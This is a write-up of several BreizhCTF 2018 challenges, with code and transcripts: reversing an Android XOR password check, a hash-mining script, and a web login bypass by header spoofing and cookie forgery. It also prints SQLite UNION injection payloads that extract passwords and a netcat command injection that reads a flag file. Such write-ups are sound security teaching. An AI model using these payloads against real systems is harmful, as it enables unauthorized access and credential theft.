BreizhCTF 2k18 - Write-up

๐Ÿ”—Information

๐Ÿ”—Version

By Version Comment
noraj 1.0 Creation

๐Ÿ”—CTF

๐Ÿ”—75 - BabyAPK - Mobile

Android reverse for dummys !

I already wrote how to decompile a mobile application for the Prime challenge at HITB CTF Singapore 2017.

Manually:

  • Unpack the application.apk file with assets, resources, compiled code, etc... : apktool d -r -s app.apk
  • Convert Dex to java class: d2j-dex2jar app/classes.dex
  • Now take a look at the source: jd-gui classes-dex2jar.jar

Automatically:

  • jadx-gui app.apk

The challenge is only about reversing a basic authentication scheme using xor with a hardcoded key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private boolean isPasswordValid(String password) {
String v3 = password;
int v0 = 0;
if (v3.length() == 45) {
for (int v1 = 0; v1 < "kmqgwg]Tm3=NE_#$%$#!&#^_^~/4ouKJW@WE^(:p@_*##".length(); v1++) {
if (")79$#!&#^l\\t<v\\x00Q\\x17\\x11HOXyD2k:!\\x18\\x040@xy\\x089g0\\x01_\\t\\x1c#oGF^".charAt(v1) != ("kmqgwg]Tm3=NE_#$%$#!&#^_^~/4ouKJW@WE^(:p@_*##".charAt(v1) ^ v3.charAt(v1))) {
v0 = 1;
Toast.makeText(this, "Seems I don't recognize you! go out :(", 0).show();
break;
}
}
if (v0 != 0) {
return true;
}
Toast.makeText(this, "Hey buddy! It's you, Welcome :)", 0).show();
} else {
Toast.makeText(this, "Seems I don't recognize you! go out :(", 0).show();
}
if (password.length() <= 4) {
return false;
}
return true;
}

So let's use a short ruby script:

1
2
3
4
5
str1 = ")79$#!&#^l\t<v\x00Q\x17\x11HOXyD2k:!\x18\x040@xy\x089g0\x01_\t\x1c#oGF^"
str2 = "kmqgwg]Tm3=NE_#$%$#!&#^_^~/4ouKJW@WE^(:p@_*##"
(0..45).each do |i|
print (str1[i].ord ^ str2[i].ord).chr
end

The flag was BZHCTF{w3_4r3_r34lly_gl4d_70_533_y0u_w3lc0me}.

๐Ÿ”—100 - BreizhK0inM1n3r - Programming

Bitcoin is dead... I mean almost dead! So SaxX decided to launch a new service! Time to earn some breizhcoins !

IP : 148.60.87.243 PORT : 9200

For this challenge we needed to generate 42 valid breizhcoins addresses. Those addresses must be a sha512 hash beginning with 1337. To prove we are not cheating we need to send the clear text that results in a such address.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
require 'socket'
require 'digest'

if __FILE__ == $0
hostname = '148.60.87.243'
port = 9200

s = TCPSocket.open(hostname, port)
raw = ''
input_flag = false

while chunck = s.read(1)
print chunck
raw += chunck
if /<ENTER>/.match?(raw)
s.puts "\n"
input_flag = true
raw = ''
end
if input_flag == true
i = 0
while true
sha512 = Digest::SHA2.new(512).hexdigest i.to_s
if sha512[0...4] == "1337"
s.puts i.to_s
puts "sha512(#{i.to_s}):#{sha512}"
end
i += 1
end
end
end

end

As the wifi network was sucking, I had to generate the list of clear text values...:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
require 'digest'

i = 0
count_hash = 0
while true
sha512 = Digest::SHA2.new(512).hexdigest i.to_s
if sha512[0...4] == "1337"
#puts "sha512(#{i.to_s}):#{sha512}"
puts "#{i}"
count_hash += 1
end
i += 1
break if count_hash == 42
end

... and send them manually:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
26545
56565
137956
148644
169018
195700
601079
748515
996996
999423
1038267
1097380
1367681
1398856
1458207
1527443
1563922
1741730
1758655
1777676
1837807
1889171
2089106
2157398
2193520
2305813
2308158
2468722
2632686
2825706
2936390
2975226
3010563
3082919
3092412
3099397
3218418
3309820
3366107
3410173
3430661
3432008

The flag was BZHCTF{Such_4_Pitty_S33m5_d47_b17c0in_c0ll4ps3d_Bu7_BreizhC0in_M19H7_B3_4n_4lt3n4t1v3!}.

๐Ÿ”—100 - Basique Simple Simple Basique - Web

Vous n'avez pas les bases!

http://148.60.87.243:44915

First the server is telling us we are not coming from localhost:

So I used X-Forwarded-For: 127.0.0.1 HTTP header to trick the server.

Afterward I added the header in Burp to avoid to repeat myself for each request:

Now the server is asking for authentication:

We can see we have a cookie, let's decode it

1
2
$ printf %s 'ZmFsc2U2ODkzNGEzZTk0NTVmYTcyNDIwMjM3ZWIwNTkwMjMyNw==' | base64 -d
false68934a3e9455fa72420237eb05902327

It looks like false is concatenated to a md5 hash. After having broken the hash we figured out that this was the md5 of false.

So I built the same pattern for true:

1
2
3
4
5
$ printf %s 'true' | md5sum
b326b5062b2f0e69046810717534cb09

$ printf %s 'trueb326b5062b2f0e69046810717534cb09' | base64
dHJ1ZWIzMjZiNTA2MmIyZjBlNjkwNDY4MTA3MTc1MzRjYjA5

So after we sent this cookie we are redirected to this address: http://148.60.87.243:44915/Si_cest_marque_sur_internet_cest_ptetre_faux_mais_cest_ptetre_vrai

1
2
3
<head><title>This is not the best language</title></head><body><h1>Welcome, Admin</h1><script src="http://cdn.bootcss.com/jquery/3.1.1/jquery.min.js"></script><div id="flag">flag</div><div id="doc"></div></body><script>$("#flag").click(function(){
$("#doc").html("BZHCTF{Ok_You_G0t_m3_It_was_T0o_eASy_4_YoU}");
})</script>

The flag was BZHCTF{Ok_You_G0t_m3_It_was_T0o_eASy_4_YoU}.

๐Ÿ”—150 - Checksum Your Booty - Web

This website uses a strong signature to protect against attacks. Prove them they sucks.

URL : http://148.60.87.243:22000

This form is vulnerable to SQL injection (SQLi) and is using SQLite at backend.

So we can retrieve the table name:

  • payload: " UNION SELECT tbl_name,1 FROM sqlite_master LIMIT 1;-- -
  • output: Welcome login !

Then the login and password of the first user:

  • payload 1: " UNION SELECT login,1 FROM login LIMIT 1 OFFSET 0;-- -
  • output 1: Welcome bzhctf !
  • payload 2: " UNION SELECT password,1 FROM login LIMIT 1 OFFSET 0;-- -
  • output 2: Welcome bar !

Finally we get the password of the second user:

  • payload: " UNION SELECT password,1 FROM login LIMIT 1 OFFSET 1;-- -
  • output: Welcome bzhctf{s1gn_my_455} !

The flag was bzhctf{s1gn_my_455}.

๐Ÿ”—50 - BabySys - System

Hyper easy command injection:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
$ nc 148.60.87.243 50050

What does the cow say!

1. Cow fortune
2. Cow time
3. Cow echo
4. Exit

Select: 3
What do you want to say? test; ls
______
< test >
------
\ ^__^
\ (**)\_______
(__)\ )\/\
U ||----w |
|| ||
cowoc
flag

What does the cow say!

1. Cow fortune
2. Cow time
3. Cow echo
4. Exit

$ nc 148.60.87.243 50050

What does the cow say!

1. Cow fortune
2. Cow time
3. Cow echo
4. Exit

Select: 3
What do you want to say? test; cat flag;
______
< test >
------
\ ^__^
\ ($$)\_______
(__)\ )\/\
||----w |
|| ||
BZHCTF{wh3n_1_s4y_C0w_Y0u_s4y_C0w}

What does the cow say!

1. Cow fortune
2. Cow time
3. Cow echo
4. Exit

The flag was BZHCTF{wh3n_1_s4y_C0w_Y0u_s4y_C0w}.

๐Ÿ”—250 - Not Dead Yet - Programming

Answer quickly to all the questions to get the flag.

IP : 148.60.87.243 PORT : 9100

The server is asking us the age of death of famous people. So we get the birthday date and death date of people and deduce the death age with a ruby script getting data from wikidata:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
require 'socket'
require 'wikidata'

hostname = '148.60.87.243'
port = 9100

s = TCPSocket.open(hostname, port)
raw = ''
flag = false
find = false

while line = s.gets # Read lines from the socket
puts line.chop # And print with platform line terminator
raw += line
if raw.match(/Can you give me/) && flag == false
name = raw.match(/^Can you give me the age of ([a-zA-Z\s\-\.]*) ?/).captures[0]
name = name[0...-1]
search = Wikidata::Item.search "#{name}"
if search.empty? == false
while find == false
man = search.results.first
#occupation = man.properties('P106').to_s
#if occupation.match(/crypto/) || occupation.match(/computer/)
if true # homonym avoidance take to much time
birth_date = man.date_of_birth.date
death_date = man.date_of_death.date
death_age = (death_date - birth_date).to_i / 365
#death_age = (death_date.year - birth_date.year).to_i
puts "#{name}: #{death_age}"
s.puts death_age
raw = ''
find = true
else
puts "shift"
search.results.shift # remove first item of the array
end
end
find = false # for the next search
end
end
end
s.close # Close the socket when done

The challenge server was too much unstable, laggy and buggy to allow us to flag but the script was fully working.

Share